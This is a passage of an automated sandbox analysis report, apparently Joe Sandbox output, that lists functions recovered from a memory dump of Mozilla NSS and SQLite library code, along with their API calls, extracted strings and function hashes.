Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C79D000: PORT_ZAlloc_Util.NSS3(00000108,?,6C79DE74,6C777FFA,00000002,?,?,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002), ref: 6C79D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C777FFA,00000000,?,6C7A23B9,00000002,00000000,?,6C777FFA,00000002), ref: 6C79DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C79DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C79E121
PK11_FreeSymKey.NSS3(?), ref: 6C79E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C79E195
PR_GetCurrentThread.NSS3 ref: 6C79E1FC

Part of subcall function 6C792460: PR_SetError.NSS3(FFFFE005,00000000,6C837379,00000002,?), ref: 6C792493

Strings

application data, xrefs: 6C79DFE0
early application data, xrefs: 6C79DFC9
key, xrefs: 6C79E046
handshake data, xrefs: 6C79DFF7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 9c39a610cf1c14f0479755702fd2184680bdbb4a7970d4427a96fe486e366ac2
Instruction ID: f0f2e9e691e7cedb9a1a2c8474492eadb93c381a316ced67f55a42edb70a5cdc
Opcode Fuzzy Hash: 9c39a610cf1c14f0479755702fd2184680bdbb4a7970d4427a96fe486e366ac2
Instruction Fuzzy Hash: 14C11571A002099BDB14CF69EE84BEAB7B5FF08308F144138E9099BB51E331E954CBE1

Function 6C68ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C68EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C68EF98

Strings

%s at line %d of [%.10s], xrefs: 6C68F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68F483
database corruption, xrefs: 6C68F48D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: c458c1413bb841aa6514dc7626eaaa8278d44447ba5efa9d346495241bd137be
Instruction ID: ce0580ade687e74ceda4241f375aa74b487c0d2b82855539988fb6294c9c2b97
Opcode Fuzzy Hash: c458c1413bb841aa6514dc7626eaaa8278d44447ba5efa9d346495241bd137be
Instruction Fuzzy Hash: B5623434A06205CFEB14CF64C48479ABBF1BF49318F18419DD9416BB92D735E886CBEA

Function 6C72FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C72FD06

Part of subcall function 6C72F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C72F696
Part of subcall function 6C72F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C72F789
Part of subcall function 6C72F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C72F796
Part of subcall function 6C72F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C72F79F
Part of subcall function 6C72F670: SECITEM_DupItem_Util.NSS3 ref: 6C72F7F0

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C72FDAD

Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C709003,?), ref: 6C75FD91
Part of subcall function 6C75FD80: PORT_Alloc_Util.NSS3(A4686C76,?), ref: 6C75FDA2
Part of subcall function 6C75FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C76,?,?), ref: 6C75FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C72FE00

Part of subcall function 6C75FD80: free.MOZGLUE(00000000,?,?), ref: 6C75FDD1

Part of subcall function 6C74E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C72FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C72FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C72FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C72FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C730007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C730029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C730044

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: cd5c0b4a1cf703aecc575312fafd8fe8b49c5bab884e653a2ac78b2e0092ca33
Instruction ID: 99eb797430de0041427267366979bf52d30af67e13f0dc942945d97f7a451946
Opcode Fuzzy Hash: cd5c0b4a1cf703aecc575312fafd8fe8b49c5bab884e653a2ac78b2e0092ca33
Instruction Fuzzy Hash: D8B1E371A04311AFE314CF29C944A6BF7E5FF88318F548A2DE99987A41E734E944CB91

Function 6C727D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C727DDC

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C727DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C727F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C727F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C727F98
PK11_FreeSymKey.NSS3(?), ref: 6C727FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C727FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C728000

Part of subcall function 6C749430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C727F0C,?,00000000,00000000,00000000,?), ref: 6C74943B
Part of subcall function 6C749430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C74946B
Part of subcall function 6C749430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C749546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C728110
PK11_FreeSymKey.NSS3(00000000), ref: 6C72811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C72822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C72823C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 80b182c3ad6e61b06abeade53d0ac903fa5f0e0c3aacf57bd25a144a44c3f40c
Instruction ID: 86fb24e81ef6cfefb05e5d56a0bfbb55623a6d0be7f8e1252a167890b2b55b95
Opcode Fuzzy Hash: 80b182c3ad6e61b06abeade53d0ac903fa5f0e0c3aacf57bd25a144a44c3f40c
Instruction Fuzzy Hash: 2CC17EB1D002599FEB21CF14CE44FEAB7B8AF15348F0481E9E81DA6641E7359E85CFA1

Function 6C730EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C730F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C730FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C731006
PK11_FreeSymKey.NSS3(?), ref: 6C73101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C731033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C73103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C731048
memcpy.VCRUNTIME140(?,?,?), ref: 6C73108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7310BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7310D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C73112E

Part of subcall function 6C731570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7308C4,?,?), ref: 6C7315B8
Part of subcall function 6C731570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7308C4,?,?), ref: 6C7315C1
Part of subcall function 6C731570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C73162E
Part of subcall function 6C731570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C731637

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 2ac75a04001df5fc9ce411f0a7e7e770689f33ac6f678f22e86eb5fc861b5d83
Instruction ID: ca5e420fbe90761841ae87a93c94c774cc33597c16f2cc2f022ea2ead5c0583d
Opcode Fuzzy Hash: 2ac75a04001df5fc9ce411f0a7e7e770689f33ac6f678f22e86eb5fc861b5d83
Instruction Fuzzy Hash: 3A71C0B5A042158FDB00CFA5CE88AAAB7F0BF44318F148638E50D97B12E731D954CB91

Function 6C751CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C751F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C752166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C75228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C7523B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C75241C

Strings

token, xrefs: 6C751F2C
manufacturer, xrefs: 6C752179
model, xrefs: 6C7523CB, 6C7523EC
serial, xrefs: 6C7522A2

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 6df907165ba0ec0e847cc2b185ee499f6966c8e76bb5ef45f412c7f96a5b8922
Instruction ID: a9408560b008525a12f46fb5d539e2313477b775380a702d5975fcccc73423e9
Opcode Fuzzy Hash: 6df907165ba0ec0e847cc2b185ee499f6966c8e76bb5ef45f412c7f96a5b8922
Instruction Fuzzy Hash: 800240A2D0C7C86EF7318671C54C7D77AE09B45328F8D167EC5DE46AC3CBA868988391

Function 6C756C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C3F

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C60
PR_ExplodeTime.NSS3(00000000,6C701C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C94

Strings

gfff, xrefs: 6C756D30
gfff, xrefs: 6C756CFD
gfff, xrefs: 6C756CF5
gfff, xrefs: 6C756D9C
gfff, xrefs: 6C756D66

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: db3e68bf4a71967849b5aea855757439aaeacac90a5f8b4cf86ac28410c110bf
Instruction ID: 4fac6f48f468301f2c162d1a3d078b3860656c26098d1308a2c89cf42eba573d
Opcode Fuzzy Hash: db3e68bf4a71967849b5aea855757439aaeacac90a5f8b4cf86ac28410c110bf
Instruction Fuzzy Hash: B0515C72B016494FC70CCDADDC527DAB7DAABA4310F48C23AE842DB785DA78E906C751

Function 6C7D0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C7D1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7D10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7D1353

Strings

zeroblob(%d), xrefs: 6C7D1223
$, xrefs: 6C7D12A0
%lld, xrefs: 6C7D114B
'%.*q', xrefs: 6C7D1217, 6C7D1292
%02x, xrefs: 6C7D12F6
-- , xrefs: 6C7D0FF5
NULL, xrefs: 6C7D119E

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 7689f5de41d4988e1c26f61d2c6eff65d8edaf3a806826c8c8ee9f8fcbcbb3c8
Instruction ID: 62cd6d86cfc55dbfdd8c91cb33b5fd84d91f734010a7f5649f566accc3c77acc
Opcode Fuzzy Hash: 7689f5de41d4988e1c26f61d2c6eff65d8edaf3a806826c8c8ee9f8fcbcbb3c8
Instruction Fuzzy Hash: 9EE1B071A083409FD710CF18D580A6BBBF1BF86368F16892DE58587B51D771F849CB42

Function 6C7D8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7D8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D9209

Strings

3333, xrefs: 6C7D925E
UUUU, xrefs: 6C7D9255

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 856e19f0ed0406e6eba0ec9702877cf17877784d203b9350fe602de691057f84
Instruction ID: eeb7d49f728434122bb9e40ccf2cbf2f6ff0a7157cc80dd717bc993c70a900cc
Opcode Fuzzy Hash: 856e19f0ed0406e6eba0ec9702877cf17877784d203b9350fe602de691057f84
Instruction Fuzzy Hash: BEA19F72E001159BDB14CB68DD95BAEB7B5AB88324F0A4139E905B7741EB36EC01CBE1

Function 6C690FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C69103E
EnterCriticalSection.KERNEL32(?), ref: 6C691139
LeaveCriticalSection.KERNEL32(?), ref: 6C691190
sqlite3_free.NSS3(00000000), ref: 6C691227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C69126E
sqlite3_free.NSS3(?), ref: 6C69127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C691267
winAccess, xrefs: 6C69129B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: cb8b62e80829efa3c1a162cdf5fb7860fff807ae1903d8d2b72b40455e9905ec
Instruction ID: d95db37d1766cad2631e254f9f0b5904bb399180222b57f412249d300e3db7e3
Opcode Fuzzy Hash: cb8b62e80829efa3c1a162cdf5fb7860fff807ae1903d8d2b72b40455e9905ec
Instruction Fuzzy Hash: DC712B31709212ABEB64DF25DC95AAE3379FB87318F240639E81587A80DB34D845C7DB

Function 6C69AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?), ref: 6C69B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B0A2
CloseHandle.KERNEL32(?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?,?,?), ref: 6C69B100
sqlite3_free.NSS3(?,?,00000002,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31,?,?,?,?,?,?,?), ref: 6C69B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C7BCF46,?,6C68CDBD,?,6C7BBF31), ref: 6C69B12D

Part of subcall function 6C689EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C69C6FD,?,?,?,?,6C6EF965,00000000), ref: 6C689F0E
Part of subcall function 6C689EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6EF965,00000000), ref: 6C689F5D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 64dd36e8025769bba12e03fb9c2228b91693802bbdda85edb12d312d446b3f30
Instruction ID: 363c9304fef1736c0c9f4bdd64aa5392c37d448ae1e35f10ba635e896322f203
Opcode Fuzzy Hash: 64dd36e8025769bba12e03fb9c2228b91693802bbdda85edb12d312d446b3f30
Instruction Fuzzy Hash: E791DDB0E042068FDB24CF25C984ABBB7F1FF86308F14462DE41697A51EB35E845CB99

Function 6C76BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C76BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C76BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C76BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C76BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C76BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C76BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C76BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C76BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C76BE1E

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

